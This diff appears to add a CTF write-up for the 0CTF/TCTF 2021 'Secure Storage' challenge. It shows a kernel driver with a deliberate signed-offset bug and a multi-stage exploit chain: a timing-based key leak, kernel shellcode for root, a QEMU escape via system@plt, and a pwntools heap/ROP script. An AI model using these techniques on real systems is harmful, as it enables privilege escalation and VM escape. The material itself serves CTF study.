vma->vm_pgoff << PAGE_SHIFT, vma->vm_end); +} +*/ + +static vm_fault_t vma_fault(struct vm_fault *vmf) { + int offset; // XXX vuln, offset should be unsigned + struct page *page; + struct vm_area_struct *vma; + struct file *file; + struct storage_slot_info *info; + unsigned long slot_index; + int bitmap_index; // it should also better be unsigned + + vma = vmf->vma; + file = vma->vm_file; + info = (struct storage_slot_info *)file->private_data; + slot_index = info->slot_index; // no need to lock here +#ifdef DEBUG + printk(KERN_INFO "secure_storage: vma_fault, vma %lx, vma->vm_start %lx, vmf->address %lx, vma->vm_pgoff %lx, slot_index %ld, vmf->flags %x, vmf->cow_page %llx\n", (unsigned long)vma, vma->vm_start, vmf->address, vma->vm_pgoff, info->slot_index, vmf->flags, page_to_phys(vmf->cow_page)); +#endif + offset = ((vmf->address - vma->vm_start) & PAGE_MASK) + (vma->vm_pgoff << PAGE_SHIFT); +#ifdef DEBUG + printk(KERN_INFO "secure_storage: offset %d, virtual %lx\n", offset, (unsigned long)&storage_cache[slot_index][offset]); +#endif + if (offset < (int)STORAGE_SLOT_SIZE) { // XXX vuln, because offset is signed int, it can less than zero + page = vmalloc_to_page(&storage_cache[slot_index][offset]); + get_page(page); + //page = alloc_page(GFP_KERNEL); + } + else { +#ifdef DEBUG + printk(KERN_INFO "secure_storage: VM_FAULT_SIGBUS\n"); +#endif + return VM_FAULT_SIGBUS; + } +#ifdef DEBUG + printk(KERN_INFO " vma_fault offset %lx, kvirt %llx, phys %llx, count %d\n", (unsigned long)offset, (unsigned long long)&storage_cache[info->slot_index][offset], page_to_phys(page), page_ref_count(page)); +#endif + vmf->page = page; + + // prepare data + mutex_lock(&storage_slot_lock[slot_index]); + bitmap_index = slot_index * (STORAGE_SLOT_SIZE/PAGE_SIZE) + offset/PAGE_SIZE; + if (!BITMAP_TEST(storage_cache_page_dirty_bitmap, bitmap_index)) { +#ifdef DEBUG + printk(KERN_INFO "secure_storage: BITMAP_TEST non present, bitmap_index %d, offset %d, addr %lx\n", bitmap_index, offset, (unsigned long)&storage_cache[slot_index][offset]); +#endif + // here, assert PAGE_SIZE == DEVICE_BLOCK_SIZE !! + if (readblock(bitmap_index, &storage_cache[slot_index][offset]) != 0) { +#ifdef DEBUG + printk(KERN_INFO "secure_storage: readblock error\n"); +#endif + mutex_unlock(&storage_slot_lock[slot_index]); + return VM_FAULT_SIGBUS; + } + BITMAP_SET(storage_cache_page_dirty_bitmap, bitmap_index); + } + mutex_unlock(&storage_slot_lock[slot_index]); + +#ifdef DEBUG + printk(KERN_INFO "secure_storage: Success\n"); +#endif + return 0; +} + +static struct vm_operations_struct dev_mmap_vm_ops = { + //.open = vma_open, + //.close = vma_close, + .fault = vma_fault, +}; + +static int dev_mmap(struct file *filep, struct vm_area_struct *vma) { + struct storage_slot_info *info; +#ifdef DEBUG + printk(KERN_INFO "secure_storage: device mmap\n"); +#endif + info = (struct storage_slot_info *)filep->private_data; + spin_lock(&info->slot_index_lock); + if (info->slot_index == -1) { + spin_unlock(&info->slot_index_lock); + return -EPERM; + } + spin_unlock(&info->slot_index_lock); + + if (vma->vm_pgoff >= (STORAGE_SLOT_SIZE / PAGE_SIZE)) { // unsigned long + return -EINVAL; + } + vma->vm_ops = &dev_mmap_vm_ops; + return 0; +} + +/* +static int dev_fsync(struct file *filep, loff_t arg2, loff_t arg3, int datasync) { + printk(KERN_INFO "secure_storage: device fsync %llx %llx %d\n", arg2, arg3, datasync); + // write storage_cache back to storage + return 0; +} +*/ + +// ------------------------------------- + +static struct file_operations fileops = { + .owner = THIS_MODULE, + .open = dev_open, + .release = dev_release, + .unlocked_ioctl = dev_ioctl, + //.compat_ioctl = dev_ioctl, // ? + .mmap = dev_mmap, + //.fsync = dev_fsync, // for msync and fsync ? +}; + + +// ============================================================================ + +static struct miscdevice miscdev = { + .minor = MISC_DYNAMIC_MINOR, + .name = DEVICE_NAME, + .fops = &fileops, + //.mode = 0666, +}; + + +#if SIMULATION + +// do nothing + +#else + +static int pci_probe(struct pci_dev *dev, const struct pci_device_id *id) { + int r; +#ifdef DEBUG + printk(KERN_INFO "pci_probe start\n"); +#endif + // create device file at /dev + misc_register(&miscdev); + + // enable device and map mmio + r = pci_enable_device(dev); + if (r < 0) { +#ifdef DEBUG + dev_err(&(dev->dev), "pci_enable_device\n"); +#endif + goto error; + } + r = pci_request_region(dev, SS_PCI_BAR_MMIO, "ss-mmio"); + if (r != 0) { +#ifdef DEBUG + dev_err(&(dev->dev), "pci_request_region\n"); +#endif + goto error; + } + + ss_mmio = pci_iomap(dev, SS_PCI_BAR_MMIO, pci_resource_len(dev, SS_PCI_BAR_MMIO)); + if (ss_mmio == NULL) { +#ifdef DEBUG + dev_err(&(dev->dev), "pci_iomap"); +#endif + goto error; + } + ss_pdev = dev; + + // dma + pci_set_master(dev); // important ! must do this to enable dma + + // msi irq + // https://www.kernel.org/doc/html/latest/PCI/msi-howto.html + r = pci_alloc_irq_vectors(dev, 1, 1, PCI_IRQ_MSI); + if (r < 0) { +#ifdef DEBUG + dev_err(&(dev->dev), "pci_alloc_irq_vectors\n"); +#endif + goto error; + } + + r = request_irq(pci_irq_vector(dev, 0), irq_handler_0, 0, DEVICE_NAME, NULL); + if (r != 0) { +#ifdef DEBUG + dev_err(&(dev->dev), "request_irq\n"); +#endif + goto error; + } + +#ifdef DEBUG + printk(KERN_INFO "ss device magic: %llx\n", readq(ss_mmio + SS_MMIO_OFFSET_MAGIC)); +#endif + + // now initialize finished, set device status to normal + writeq(SS_CMD_TO_NORMAL, ss_mmio + SS_MMIO_OFFSET_COMMAND); + device_is_idle = true; + device_irq_occured = false; + +// test +//static char buf[4096] = {0}; +//readwriteblock(256, buf, 0); + + return 0; + +error: + return 1; +} + +static void pci_remove(struct pci_dev *dev) { + ss_pdev = NULL; + ss_mmio = NULL; + free_irq(pci_irq_vector(dev, 0), NULL); + pci_free_irq_vectors(dev); + pci_disable_device(dev); + pci_release_region(dev, SS_PCI_BAR_MMIO); + misc_deregister(&miscdev); +} + + +static struct pci_device_id pci_ids[] = { + { PCI_DEVICE(QEMU_VENDOR_ID, SS_DEVICE_ID), }, + { 0, } +}; +MODULE_DEVICE_TABLE(pci, pci_ids); + +static struct pci_driver pci_drv = { + .name = DEVICE_NAME, // this cannot be omitted ! + .id_table = pci_ids, + .probe = pci_probe, + .remove = pci_remove, +}; + + +#endif + +static int __init init_ss_module(void) { + // major_version = register_chrdev(0, DEVICE_NAME, &fops); + unsigned int i; + + for (i = 0; i < STORAGE_SLOT_COUNT; i++) { + mutex_init(&storage_slot_lock[i]); + + } +#if SIMULATION + zerostorage(); + misc_register(&miscdev); +#else + if (pci_register_driver(&pci_drv) < 0) { +#ifdef DEBUG + printk(KERN_ERR "pci_register_driver error\n"); +#endif + return 1; + } +#endif + +#ifdef DEBUG + printk(KERN_ALERT "secure storage module init\n"); +#endif + return 0; +} + +static void __exit exit_ss_module(void) { +#if SIMULATION + // unregister_chrdev(major_version, DEVICE_NAME); + misc_deregister(&miscdev); +#else + pci_unregister_driver(&pci_drv); +#endif + +#ifdef DEBUG + printk(KERN_ALERT "secure storage module exit\n"); +#endif +} + + +module_init(init_ss_module); +module_exit(exit_ss_module); + diff --git a/0CTF_TCTF-2021-Quals/Secure Storage/writeup/Makefile b/0CTF_TCTF-2021-Quals/Secure Storage/writeup/Makefile new file mode 100644 index 0000000..50addfb --- /dev/null +++ b/0CTF_TCTF-2021-Quals/Secure Storage/writeup/Makefile @@ -0,0 +1,14 @@ +CC=musl-gcc +targets = exp_stage1_leak exp_stage3_kernel exp_stage4_qemu sh + +all: $(targets) + +% : %.c + $(CC) -static -s -o $@ $^ + +sh : bin_sh_loader.c + $(CC) -static -s -o $@ $^ + +.PHONY clean: + rm -f $(targets) + diff --git a/0CTF_TCTF-2021-Quals/Secure Storage/writeup/bin_sh_loader.c b/0CTF_TCTF-2021-Quals/Secure Storage/writeup/bin_sh_loader.c new file mode 100644 index 0000000..9843573 --- /dev/null +++ b/0CTF_TCTF-2021-Quals/Secure Storage/writeup/bin_sh_loader.c @@ -0,0 +1,12 @@ +#define _GNU_SOURCE +#include +#include + +int main(void) { + uid_t euid = geteuid(); + gid_t egid = getegid(); + setresgid(egid, egid, egid); + setresuid(euid, euid, euid); + execl("/bin/sh", "/bin/sh", NULL); + return 0; +} diff --git a/0CTF_TCTF-2021-Quals/Secure Storage/writeup/exp_stage1_leak.c b/0CTF_TCTF-2021-Quals/Secure Storage/writeup/exp_stage1_leak.c new file mode 100644 index 0000000..312dc92 --- /dev/null +++ b/0CTF_TCTF-2021-Quals/Secure Storage/writeup/exp_stage1_leak.c @@ -0,0 +1,226 @@ +#include +#include +#include +#include +#include +#include +#include +#include // for kill +#include + +struct tube { + pid_t pid; + int readfd; + int writefd; + char readbuf[4096]; + char *pstart; + char *pcurrent; + char *pend; +}; + +struct tube *tube_new(char *exec_filename) { + struct tube *t = malloc(sizeof(struct tube)); + + int pipestdin[2]; + int pipestdout[2]; + pipe(pipestdin); + pipe(pipestdout); + + pid_t pid = fork(); + if (pid == 0) { + close(pipestdin[1]); + close(pipestdout[0]); + if (pipestdin[0] != 0) { + dup2(pipestdin[0], 0); + close(pipestdin[0]); + } + if (pipestdout[1] != 1) { + dup2(pipestdout[1], 1); + close(pipestdout[1]); + } + execlp(exec_filename, exec_filename, NULL); + exit(0); + } + close(pipestdin[0]); + close(pipestdout[1]); + + t->pid = pid; + t->readfd = pipestdout[0]; + t->writefd = pipestdin[1]; + return t; +} + +void tube_close(struct tube *t) { + close(t->readfd); + close(t->writefd); + kill(t->pid, 9); + waitpid(-1, NULL, 0); + free(t); +} + +void tube_send(struct tube *t, const char *buf, int len) { + write(t->writefd, buf, len); +} + +void tube_sendline(struct tube *t, const char *buf, int len) { + write(t->writefd, buf, len); + write(t->writefd, "\n", 1); +} + +int tube_recv(struct tube *t, char *buf, int len) { + return read(t->readfd, buf, len); +} + +int tube_recvn(struct tube *t, char *buf, int len) { + int result = 0; + int remain = len; + while (remain > 0) { + int r = read(t->readfd, buf+(len-remain), remain); + if (r < 0) { + break; + } + remain -= r; + result = len-remain; + } + return result; +} + +int tube_recvuntil(struct tube *t, char *buf, int maxlen, char *delim, int delimlen, int drop) { + int result = 0; + if (maxlen == 0) { + assert(delimlen < 4096); + char b[4096]; + char bl = 0; + while (1) { + int r = read(t->readfd, &b[bl], 1); + //printf("DEBUG: %c %d %d %d\n", b[bl], b[bl], bl, delimlen); + if (r <= 0) { + assert(0); + } + bl += r; + result += r; + if (bl == delimlen) { + if (memcmp(b, delim, delimlen) == 0) { + return result; + } + else { + memmove(b, b+1, delimlen-1); + bl -= 1; + } + } + } + } + else { + assert(0); + } + return result; +} + +void tube_sendafter(struct tube *t, char *delim, int delimlen, const char *buf, int len) { + tube_recvuntil(t, NULL, 0, delim, delimlen, 0); + tube_send(t, buf, len); +} + +void tube_sendlineafter(struct tube *t, char *delim, int delimlen, const char *buf, int len) { + tube_recvuntil(t, NULL, 0, delim, delimlen, 0); + + tube_sendline(t, buf, len); +} + +// ============================================================================= + +struct tube *global_t = NULL; + +long gettime(void) { + struct timeval tv; + gettimeofday(&tv, NULL); + return tv.tv_sec * 1000 * 1000 + tv.tv_usec; +} + +void register_user(const char *name, int realnamelen, int namelen) { + char buf[4096] = {0}; + char d1[] = "Input your choice:"; + tube_sendlineafter(global_t, d1, strlen(d1), "1", 1); + char d2[] = "How long is your name ?"; + sprintf(buf, "%d", namelen); + tube_sendlineafter(global_t, d2, strlen(d2), buf, strlen(buf)); + char d3[] = "What is your name ?"; + tube_sendlineafter(global_t, d3, strlen(d3), name, realnamelen); + if (realnamelen < namelen) { + tube_send(global_t, "\n", 1); + } + char d4[] = "Successfully register"; + tube_recvuntil(global_t, NULL, 0, d4, strlen(d4), 0); +} + +int kick_out_last_registered_user(char *admin_key, int admin_key_len, long *out_timeinterval) { + int result = 0; + + assert(admin_key_len == 32); + char d1[] = "Input your choice:"; + tube_sendlineafter(global_t, d1, strlen(d1), "4", 1); + char d2[] = "Input admin key:\n"; + tube_sendlineafter(global_t, d2, strlen(d2), admin_key, admin_key_len); + char d3[] = "Checking...\n"; + tube_recvuntil(global_t, NULL, 0, d3, strlen(d3), 0); + + long t1 = gettime(); + + char b[1]; + tube_recvn(global_t, b, 1); + long t2 = gettime(); + + if (out_timeinterval != NULL) { + *out_timeinterval = t2-t1; + } + + if (b[0] == 'E') { + result = 0; + } + else if (b[0] == 'P') { + result = 1; + } + else { + assert(0); + } + return result; +} + +// ============================================================================= + +char validchars[] = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; + +int main(void) { + global_t = tube_new("/challenge/ss_agent"); + + char guesskey[32+1] = {0}; + memset(guesskey, '0', 32); + for (int i = 0; i < 32; i++) { + char choose = '0'; + long maxtime = 0; + for (int j = 0; j < 62; j++) { + char c = validchars[j]; + register_user("", 0, 4096-8-1-i); + long timeinterval; + guesskey[i] = c; + int r = kick_out_last_registered_user(guesskey, 32, &timeinterval); + if (r) { + choose = c; + break; + } + //printf("%d %c %d %ld\n", i, c, r, timeinterval); // average is 80us, seldom 1144us, guess true is 5000us + if (timeinterval > maxtime) { + maxtime = timeinterval; + choose = c; + } + } + guesskey[i] = choose; + printf("%s\n", guesskey); + } + + printf("exp_stage1_leak finshed, admin_key: \n"); + printf("%s\n", guesskey); + + return 0; +} + diff --git a/0CTF_TCTF-2021-Quals/Secure Storage/writeup/exp_stage3_kernel.c b/0CTF_TCTF-2021-Quals/Secure Storage/writeup/exp_stage3_kernel.c new file mode 100644 index 0000000..1531783 --- /dev/null +++ b/0CTF_TCTF-2021-Quals/Secure Storage/writeup/exp_stage3_kernel.c @@ -0,0 +1,96 @@ +#include +#include +#include +#include +#include +#include + +/* +ffffffff828c4e50 T commit_creds +ffffffff828c51d0 T prepare_kernel_cred +ffffffff832dc5d0 T mutex_lock +*/ +// get from /proc/kallsyms +unsigned long commit_creds_addr = 0xffffffff828c4e50; // FIXME +unsigned long prepare_kernel_cred_addr = 0xffffffff828c51d0; // FIXME +unsigned long mutex_lock_addr = 0xffffffff832dc5d0; // FIXME + +unsigned long func_dev_ioctl_off = 0x710; // FIXME get from binary +unsigned long call_mutex_lock_off = 0x752; // FIXME get from binary +unsigned long storage_cache_off = 0x3000; // FIXME get from binary + +//#define STORAGE_SLOT_COUNT (16) +//#define STORAGE_SLOT_SIZE (16*PAGE_SIZE) + +int main(void) { + int fd1 = open("/dev/ss", O_RDWR); + ioctl(fd1, 0, 15); + char *addr1 = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_SHARED, fd1, 15*4096); + *(long *)(addr1+4096-8) = -1; // set the bitmap underoverflow pages + munmap(addr1, 4096); + close(fd1); + + + int fd2 = open("/dev/ss", O_RDWR); + ioctl(fd2, 0, 0); + char *addr2 = mmap(NULL, 0x100000000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_NORESERVE, fd2, 0); + + char *code_addr = addr2+0x100000000-0x4000; // code_addr is the base addr of the kernel module. I don't know why this offset is not equal to storage_cache_off + // here, bitmap has already setted, so later page fault handler will not copy data from storage to storage_cache + //write(1, code_addr, 4096); + + /* +.text:0000000000000700 ; __int64 __fastcall dev_ioctl(file *filep, unsigned int request, unsigned __int64 data) +.text:0000000000000700 dev_ioctl proc near ; DATA XREF: __mcount_loc:00000000000008D6↓o +.text:0000000000000700 ; .data:fileops↓o +.text:0000000000000700 filep = rdi ; file * +.text:0000000000000700 request = rsi ; unsigned int +.text:0000000000000700 data = rdx ; unsigned __int64 +.text:0000000000000700 call __fentry__ ; PIC mode +.text:0000000000000705 test esi, esi +... +.text:000000000000073A mov filep, r12 +.text:000000000000073D call mutex_lock ; PIC mode +.text:0000000000000742 mov rdi, r13 +... + */ + + // from the relative call _raw_spin_lock instruction to caculate any kernel function relative offset + unsigned long base_relative_addr = (long)*(int *)(code_addr+call_mutex_lock_off-4)-mutex_lock_addr + (call_mutex_lock_off-func_dev_ioctl_off); + //int relative_commit_creds_addr = base_relative_addr + commit_creds_addr; + //int relavive_prepare_kernel_cred_addr = base_relative_addr + prepare_kernel_cred_addr; + + /* + * 48 31 ff : xor rdi, rdi + * e8 xx xx xx xx : call prepare_kernel_cred + * 48 89 c7 : mov rdi, rax + * e8 xx xx xx xx : call commit_creds + * c3 : ret + */ +#define SHELLCODE_LEN 17 // FIXME + // generate shellcode: commit_creds(prepare_kernel_cred(0)) + char buf[SHELLCODE_LEN] = {0x48, 0x31, 0xff, 0xe8, 0,0,0,0, 0x48, 0x89, 0xc7, 0xe8, 0,0,0,0, 0xc3}; + *(int *)(buf+4) = base_relative_addr+prepare_kernel_cred_addr - (8); + *(int *)(buf+12) = base_relative_addr+commit_creds_addr - (16); + + // backup origin code + char oldcode[SHELLCODE_LEN]; + memcpy(oldcode, code_addr+func_dev_ioctl_off, SHELLCODE_LEN); + + // install shellcode + memcpy(code_addr+func_dev_ioctl_off, buf, SHELLCODE_LEN); + + // trigger shellcode then gain root + ioctl(fd2, 0, 0); + + // recovery origin code (actually not necessary) + memcpy(code_addr+func_dev_ioctl_off, oldcode, SHELLCODE_LEN); + + munmap(addr2, 0x100000000); + close(fd2); + + execl("/bin/sh", "/bin/sh", NULL); + + return 0; +} + diff --git a/0CTF_TCTF-2021-Quals/Secure Storage/writeup/exp_stage4_qemu.c b/0CTF_TCTF-2021-Quals/Secure Storage/writeup/exp_stage4_qemu.c new file mode 100644 index 0000000..f23fe7f --- /dev/null +++ b/0CTF_TCTF-2021-Quals/Secure Storage/writeup/exp_stage4_qemu.c @@ -0,0 +1,238 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +// https://xz.aliyun.com/t/6562 + + +// https://gist.github.com/ccbrown/9722406 +void dumphex(const void* data, size_t size) { + char ascii[17]; + size_t i, j; + ascii[16] = '\0'; + for (i = 0; i < size; ++i) { + printf("%02X ", ((unsigned char*)data)[i]); + if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') { + ascii[i % 16] = ((unsigned char*)data)[i]; + } else { + ascii[i % 16] = '.'; + } + if ((i+1) % 8 == 0 || i+1 == size) { + printf(" "); + if ((i+1) % 16 == 0) { + printf("| %s \n", ascii); + } else if (i+1 == size) { + ascii[(i+1) % 16] = '\0'; + if ((i+1) % 16 <= 8) { + printf(" "); + } + for (j = (i+1) % 16; j < 16; ++j) { + printf(" "); + } + printf("| %s \n", ascii); + } + } + } +} + + + +#define PAGE_SHIFT 12 +#define PAGE_SIZE (1 << PAGE_SHIFT) +#define PFN_PRESENT (1ull << 63) +#define PFN_PFN ((1ull << 55) - 1) + +uint32_t page_offset(uint32_t addr) +{ + return addr & ((1 << PAGE_SHIFT) - 1); +} + +int pagemap_fd; +uint64_t gva_to_gfn(void *addr) +{ + uint64_t pme, gfn; + size_t offset; + offset = ((uintptr_t)addr >> 9) & ~7; + lseek(pagemap_fd, offset, SEEK_SET); + read(pagemap_fd, &pme, 8); + if (!(pme & PFN_PRESENT)) + return -1; + gfn = pme & PFN_PFN; + return gfn; +} + +uint64_t gva_to_gpa(void *addr) +{ + uint64_t gfn = gva_to_gfn(addr); + assert(gfn != -1); + return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr); +} + + +volatile unsigned char* mmio_mem; +void mmio_write(uint64_t addr, uint64_t value) +{ + *((uint64_t*)(mmio_mem + addr)) = value; +} + +uint64_t mmio_read(uint64_t addr) +{ + return *((uint64_t*)(mmio_mem + addr)); +} + + +__attribute__((aligned(4096))) char global_buf[4096]; +uint64_t global_buf_pa; + +void write_block(int index, const char *buf) { + memcpy(global_buf, buf, 4096); + mmio_write(0x18, 1); // command: to noraml + while (mmio_read(0x10) != 1); // wait to normal + mmio_write(0x18, 2); // command: wait dma args + while (mmio_read(0x10) != 3); // wait to normal + mmio_write(0x20, index); + mmio_write(0x28, global_buf_pa); + mmio_write(0x18, 0x13); // command: dma to device, cpu write, device read + + while (mmio_read(0x10) != 0x14); + + mmio_write(0x18, 1); +} + +void read_block(int index, char *buf) { + memset(global_buf, 0, 4096); + mmio_write(0x18, 1); // command: to noraml + //while (mmio_read(0x10) != 1); // wait to normal + mmio_write(0x18, 2); // command: wait dma args + //while (mmio_read(0x10) != 3); // wait to normal + mmio_write(0x20, index); + mmio_write(0x28, global_buf_pa); + mmio_write(0x18, 0x23); // command: dma from device, cpu read, device write + + while (mmio_read(0x10) != 0x14); + + memcpy(buf, global_buf, 4096); + + mmio_write(0x18, 1); +} + +// ------------------------------------- + +#define FEISTEL_K 16 +#define ROL64(x, n) (((x) << (n)) | ((x) >> (64 - (n)))) + +static void storage_internal_encrypt(void *dst, const void *src, unsigned int len) { + unsigned int i; + unsigned int j; + unsigned long long left; + unsigned long long right; + unsigned long long oldright; + for (i = 0; i < len / 16; i++) { + memcpy(&left, ((const unsigned char *)src)+16*i, 8); // memory may be unaligned + memcpy(&right, ((const unsigned char *)src)+16*i+8, 8); + for (j = 0; j < FEISTEL_K; j++) { // feistel + oldright = right; + right = left ^ ROL64(right ^ 0x73706f3073706f30, 7); + left = oldright; + } + memcpy(((unsigned char *)dst)+16*i, &right, 8); + memcpy(((unsigned char *)dst)+16*i+8, &left, 8); + } +} + +static void storage_internal_decrypt(void *dst, const void *src, unsigned int len) { + unsigned int i; + unsigned int j; + unsigned long long left; + unsigned long long right; + unsigned long long oldright; + for (i = 0; i < len / 16; i++) { + memcpy(&left, ((const unsigned char *)src)+16*i, 8); // memory may be unaligned + memcpy(&right, ((const unsigned char *)src)+16*i+8, 8); + for (j = 0; j < FEISTEL_K; j++) { // feistel + oldright = right; + right = left ^ ROL64(right ^ 0x73706f3073706f30, 7); + left = oldright; + } + memcpy(((unsigned char *)dst)+16*i, &right, 8); + memcpy(((unsigned char *)dst)+16*i+8, &left, 8); + } +} + +// ------------------------------------- + +int main(void) { + pagemap_fd = open("/proc/self/pagemap", O_RDONLY); + if (pagemap_fd < 0) { + perror("open"); + exit(1); + } + + // find the correct device resource0 filename + char resource0filename[] = "/sys/devices/pci0000:00/0000:00:0?.0/resource0"; + for (int i = 0; i < 10; i++) { + char deviceidfilename[] = "/sys/devices/pci0000:00/0000:00:0?.0/device"; + deviceidfilename[33] = '0'+i; + int tmpfd = open(deviceidfilename, O_RDONLY); + if (tmpfd < 0) { + break; + } + char buf[6]; + read(tmpfd, buf, 6); + if (memcmp(buf, "0x7373", 6) == 0) { + resource0filename[33] = '0'+i; + break; + } + } + + printf("%s\n", resource0filename); + int mmio_fd = open(resource0filename, O_RDWR | O_SYNC); + if (mmio_fd == -1) { + printf("mmio_fd open failed\n"); + } + + mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0); + if (mmio_mem == MAP_FAILED) { + printf("mmap mmio_mem failed\n"); + } + + global_buf[0] = 0; + global_buf_pa = gva_to_gpa(global_buf); + printf("global_buf_pa: %lx\n", global_buf_pa); + + printf("magic: %lx\n", mmio_read(0)); + + // store command at the head of BackendStorage + //char command[4096] = "kill -9 $PPID ; ls -al ; cat flag.txt ; /bin/sh\0"; + char command[4096] = "ls -al ; cat flag.txt ; /bin/sh -i\0"; + storage_internal_decrypt(command, command, 4096); + write_block(0, command); + + // leak three the func pointers in BackendStorage + char b[4096] = {0}; + read_block(256, b); + storage_internal_decrypt(b, b, 4096); + + dumphex(b, 32); + + unsigned long *bb = (unsigned long *)b; + + unsigned long system_plt = 0x2b9300; // FIXME: need to change + unsigned long ss_storage_read = 0x4f08e0; // FIXME: need to change + + // change (*read_func) to system@plt + bb[1] -= ss_storage_read - system_plt; + storage_internal_encrypt(b, b, 4096); + write_block(256, b); + + // trigger system(command) + read_block(256, b); + + return 0; +} + diff --git a/0CTF_TCTF-2021-Quals/Secure Storage/writeup/expfull.py b/0CTF_TCTF-2021-Quals/Secure Storage/writeup/expfull.py new file mode 100644 index 0000000..a42d910 --- /dev/null +++ b/0CTF_TCTF-2021-Quals/Secure Storage/writeup/expfull.py @@ -0,0 +1,245 @@ +#!/usr/bin/env python3 + +from pwn import * +#import time +from time import sleep +#import string +import sys +import base64 +import gzip + +context.terminal = ["tmux","split","-h"] + +def register_user(namelen, name): + assert "\n" not in str(name) + global s + s.sendlineafter("Input your choice:", "1") + s.sendlineafter("How long is your name ?", str(namelen)) + s.sendafter("What is your name ?", name); + if len(name) < namelen: + s.send("\n") + s.recvuntil("Hello ") + r = s.recvn(namelen) + s.recvuntil("Successfully register") + return r + +def store_my_data(slot_index, data_len, data, key): + assert "\n" not in str(data) + assert(len(key) == 16) + global s + s.sendlineafter("Input your choice:", "2") + s.sendlineafter("Which slot ?", str(slot_index)) + s.sendlineafter("How long is your data ?", str(data_len)) + s.sendafter("Now input your data:", data) + if len(data) < data_len: + s.send("\n") + s.sendlineafter("Input your key (remember it):", key) + s.recvuntil("Successfully store") + +def retrieve_my_data(slot_index, key): + assert(len(key) == 16) + global s + s.sendlineafter("Input your choice:", "3") + s.sendlineafter("Which slot ?", str(slot_index)) + s.sendlineafter("Input your key:", key) + s.recvuntil("Checking...") + #t1 = time.time() + r = s.recvline() + #t2 = time.time() + #print("time: ", t2-t1) + if b"Error: key error" in r: + return + assert b"Pass check" in r + s.recvuntil("Your data is ") + r = s.recvline() + s.recvunitl("Finish") + return r + +def kick_out_last_registered_user(admin_key): + assert(len(admin_key) == 32) + global s + s.sendlineafter("Input your choice:", "4") + s.sendlineafter("Input admin key:", admin_key) + s.recvuntil("Checking...") + s.recvuntil("\n") + #t1 = time.time() + r = s.recvline() + #t2 = time.time() + #print("time: ", t2-t1) + if b"Error: key error" in r: + #return t2-t1, None + return None + assert b"Pass check" in r + s.recvuntil("Last registered user is ") + r = s.recvuntil("User kicked out", drop=True) + #return t2-t1, r + return r + +def exit_program(): + global s + s.sendlineafter("Input your choice:", "5") + + +def alloc(size, content): + print("alloc: "+content.hex()) + return register_user(size, content) + +def free(): + global admin_key + return kick_out_last_registered_user(admin_key) + + +def cut(obj, sec): + # https://blog.csdn.net/qq_26373925/article/details/101135611 + return [obj[i:i+sec] for i in range(0,len(obj),sec)] + +def sendfile(filename): + global s + with open(filename, "rb") as f: + content = f.read() + #content_gzip_base64 = base64.encodebytes(gzip.compress(content)) + content_gzip_base64 = base64.b64encode(gzip.compress(content)) + s.sendlineafter("$ ", "stty -echo") + #s.sendlineafter("$ ", f"echo {content_gzip_base64.decode()} | base64 -d | gunzip >/tmp/{filename}") + s.sendlineafter("$ ", f"cat </tmp/{filename}") + linelist = cut(content_gzip_base64, 1400) + n = len(linelist) + i = 0 + for line in linelist: + i += 1 + print(i, n) + s.sendlineafter("> ", line) + s.sendline("EOF") + + s.sendlineafter("$ ", f"chmod 777 /tmp/{filename}") + s.sendlineafter("$ ", "stty echo") + + + +#s = process("../src/ss_agent") +#attach(s) + +#s = process(["sh", "-c", "(cd ../deployment ; ./start.sh)"],stdout=PIPE) ; s.sendlineafter("press Enter to activate this console.", "") ; s.sendlineafter("/ $ ", "stty -echo") ; s.sendlineafter("/ $ ", "/challenge/ss_agent") + + +# start server by ` socat tcp-l:12345,fork,reuseaddr exec:./start.sh,setsid,stderr ` at "../deployment/test/", and qemu redirict /dev/ttyS1 to tcp listen port 3234 +# stty raw is necessary, or some special char will be treated as tty control char and generate some signal + +#s = remote("127.0.0.1", 12345) ; s.sendlineafter("/ $ ", "stty -echo") ; s.sendlineafter("/ $ ", "stty raw") ; s.sendlineafter("/ $ ", "/challenge/exec_wrapper /challenge/gdbserver-7.10.1-x64 --no-disable-randomization /dev/ttyS1 /challenge/ss_agent") + +# local test without debug +s = remote("127.0.0.1", 12345) + +# remote server +#s = remote("111.186.58.135", 12021) + + +sendfile("exp_stage1_leak") +sendfile("exp_stage3_kernel") +sendfile("exp_stage4_qemu") +sendfile("sh") + +s.sendlineafter("/ $ ", "stty -echo") ; s.sendlineafter("/ $ ", "stty raw") + +# stage1: leak + +#''' +s.sendlineafter("/ $ ", "/tmp/exp_stage1_leak") +s.recvuntil("exp_stage1_leak finshed, admin_key:") +s.recvuntil("\n") # if not stty raw, the line is endswith \r\n +admin_key = s.recvline().strip() +#''' +#admin_key = "0123456789abcdefFEDCBA9876543210" # XXX +#admin_key = "yIqOWG6uyE2xldHdJef7AnsRNS01Px1I" + +print(admin_key) + +#raw_input("stage1 finish") + +# stage2: user + +s.sendlineafter("/ $ ", "/challenge/ss_agent") + +#s.recvuntil("Remote debugging") ; gdb.attach(("localhost", 3234)) + +# leak heap address +alloc(0x20-8, b"") +free() +free() +r = alloc(0x20-8, b"") + +heap_addr = u64(r[:8]) +#print(r.hex()) +print(hex(heap_addr)) +heap_addr_offset = (heap_addr & 0xfff) + 0x1000 +#fake_on_heap_addr = heap_addr-(0x1b50-0x858) +fake_on_heap_addr = heap_addr-(heap_addr_offset-0x858) + +#raw_input("wait1\n") + +# leak program address and stack address +alloc(0x3f0-8, b"") # near the max tcache size +free() +free() +#free() +alloc(0x3f0-8, p64(fake_on_heap_addr)) +alloc(0x3f0-8, b"") +r = alloc(0x3f0-8, b"") + +print(r.hex()) +#raw_input("wait2\n") +main_arena_addr = u64(r[0:8]) +program_base = main_arena_addr - (0x7f27f619c7a0-0x7f27f60d4000) +stack_addr = u64(r[0xb80-0x858:0xb80-0x858+8]) +main_ret_on_stack = stack_addr - (0xf8-0x90) # libc_start_main_ret +print(hex(program_base), hex(stack_addr), hex(main_ret_on_stack)) + +#raw_input("wait3\n") + +# alloc on stack and rop +alloc(0x400-8, b"") +free() +free() +#free() +#raw_input("wait4\n") +alloc(0x400-8, p64(main_ret_on_stack)) +alloc(0x400-8, b"") + +pop_rax_ret = program_base+0x1f8f4 +pop_rdi_ret = program_base+0x94c6 